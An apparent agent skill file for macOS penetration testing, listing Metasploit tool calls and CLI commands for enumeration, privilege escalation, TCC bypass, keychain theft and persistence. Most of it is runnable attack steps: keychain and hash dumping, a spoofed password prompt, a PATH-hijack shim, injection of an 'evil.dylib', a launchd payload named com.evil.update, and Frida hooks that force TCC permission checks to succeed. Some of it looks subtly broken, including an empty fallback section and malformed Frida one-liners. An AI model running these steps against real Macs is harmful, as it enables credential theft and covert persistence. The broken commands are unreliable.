| name | macos-pentest |
| description | Guides macOS penetration testing when ROE includes macOS endpoints. Covers privesc, TCC bypass, keychain abuse, sandbox escape, launch daemon abuse, dylib hijacking, and XPC/Mach service abuse on Intel and Apple Silicon. |
macOS Pentest
Prerequisites
- macOS targets are explicitly in engagement ROE.
- Hybrid AD environments: also load
internal-ad-pentest for domain-joined Macs.
- Shared Unix patterns: cross-reference
linux-pentest for cron, sudo, PATH abuse.
Workflow
Task Progress:
- [ ] Identify macOS version, chip (Intel/ARM), and enrollment (MDM)
- [ ] Enumerate users, TCC permissions, keychain, sensitive locations
- [ ] Test privesc paths (dyld hijack, XPC, entitlements, sandbox bypass)
- [ ] Document with paths and macOS build numbers
Phase 1: Enumeration
System info
MSF MCP (preferred):
msf_run_post_module(
module_name="post/osx/gather/enum_osx",
engagement_id="<id>",
session_id=<sid>,
options={}
)
msf_run_post_module(
module_name="post/osx/gather/enum_collector",
engagement_id="<id>",
session_id=<sid>,
options={}
)
CLI fallback:
sw_vers
uname -a
system_profiler SPSoftwareDataType SPHardwareDataType
id
sudo -l
csrutil status
spctl --status
Keychain and sensitive locations
MSF MCP (preferred):
msf_run_post_module(
module_name="post/osx/gather/hashdump",
engagement_id="<id>",
session_id=<sid>,
options={}
)
msf_run_post_module(
module_name="post/osx/gather/password_prompt_spoof",
engagement_id="<id>",
session_id=<sid>,
options={}
)
CLI fallback:
ls -la ~/Library/Keychains/
security dump-keychain ~/Library/Keychains/login.keychain-db
find / -perm -4000 -type f 2>/dev/null
TCC database
MSF: No direct module; use CLI.
CLI fallback:
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access;"
sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access;"
Launch agents and daemons
MSF MCP (preferred):
msf_run_post_module(
module_name="post/osx/gather/enum_launchagents",
engagement_id="<id>",
session_id=<sid>,
options={}
)
CLI fallback:
ls ~/Library/LaunchAgents/
ls /Library/LaunchAgents/
ls /Library/LaunchDaemons/
launchctl list
Phase 2: Privilege escalation
Sudo and PATH hijacking
MSF: No direct module; use CLI.
CLI fallback:
sudo -l
cat > /opt/homebrew/bin/ls <<'EOF'
if [ "$(id -u)" -eq 0 ]; then whoami > /tmp/privesc; fi
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls
Dylib hijacking
MSF MCP (preferred):
msf_module_check(
module_name="exploit/osx/local/dyld_print_to_file_root",
engagement_id="<id>",
module_type="exploit",
options={"SESSION": <sid>}
)
msf_run_exploit(
module_name="exploit/osx/local/dyld_print_to_file_root",
engagement_id="<id>",
options={"SESSION": <sid>}
)
CLI fallback:
DYLD_INSERT_LIBRARIES=/tmp/evil.dylib /path/to/vulnerable/binary
otool -L /path/to/binary
SIP blocks many DYLD injections on protected binaries.
Launch daemon abuse
MSF MCP (preferred):
msf_run_post_module(
module_name="post/osx/manage/launchd",
engagement_id="<id>",
session_id=<sid>,
options={"PAYLOAD": "/tmp/payload.sh", "LABEL": "com.evil.update"}
)
CLI fallback:
sudo launchctl load /Library/LaunchDaemons/com.evil.plist
Requires write to /Library/LaunchDaemons/ or hijack writable script referenced by plist.
Phase 3: TCC bypass (version-specific)
macOS 13 Ventura / 14 Sonoma (CVE-2024-44131 class)
MSF: No direct module; use CLI/Frida.
CLI fallback:
macOS 12 Monterey and earlier
MSF: No direct module; use CLI.
CLI fallback:
frida -n "Safari" -l tcc_bypass.js
Frida one-liners
MSF: No direct module; use CLI.
CLI fallback:
frida -U -n com.apple.TCC -l -e 'ObjC.schedule(ObjC.mainQueue, function(){ var cls=ObjC.classes.TCCD; if(cls) Interceptor.attach(cls["- checkAccess:forBundle:"].implementation,{onLeave:function(r){r.replace(1);}}); });'
frida -U -f com.example.app -l ssl_bypass.js --no-pause
frida -U -f com.example.app -l -e 'ObjC.schedule(ObjC.mainQueue,function(){var S=ObjC.classes.SecItemCopyMatching;Interceptor.attach(S.implementation,{onEnter:function(a){console.log(ObjC.Object(a[0]).toString());}});});'
AppleScript / Automator inheritance
MSF: No direct module; use CLI.
CLI fallback:
osascript -e 'tell application "System Events" to get properties'
Phase 4: Keychain abuse
MSF MCP (preferred):
msf_run_post_module(
module_name="post/osx/gather/hashdump",
engagement_id="<id>",
session_id=<sid>,
options={}
)
CLI fallback:
security find-generic-password -a "account" -s "service" -w
security find-internet-password -s "site.com" -w
chainbreaker --dump-keychain ~/Library/Keychains/login.keychain-db
Phase 5: XPC / sandbox escape
MSF MCP (preferred):
msf_run_post_module(
module_name="post/osx/escalate/tccbypass",
engagement_id="<id>",
session_id=<sid>,
options={}
)
CLI fallback:
codesign -d --entitlements - /path/to/app
class-dump -H /path/to/helper -o headers/
Gatekeeper bypass:
xattr -cr /path/to/app
spctl --assess --verbose /path/to/app
Phase 6: MDM and enterprise
MSF: No direct module; use CLI.
CLI fallback:
profiles -P
sudo profiles show -type configuration
systemextensionsctl list
klist
AD-joined Macs: same Kerberos/NTLM attacks as domain members via internal-ad-pentest.
Related skills
linux-pentest - shared Unix enumeration patterns
internal-ad-pentest - domain-joined Macs
mobile-pentest - overlaps with iOS/macOS app testing
binary-exploit-pentest - Mach-O, ARM64 when exploit dev is in scope
red-team-evasion - SIP and Gatekeeper OPSEC context
persistence-pentest - launchd persistence (ROE required)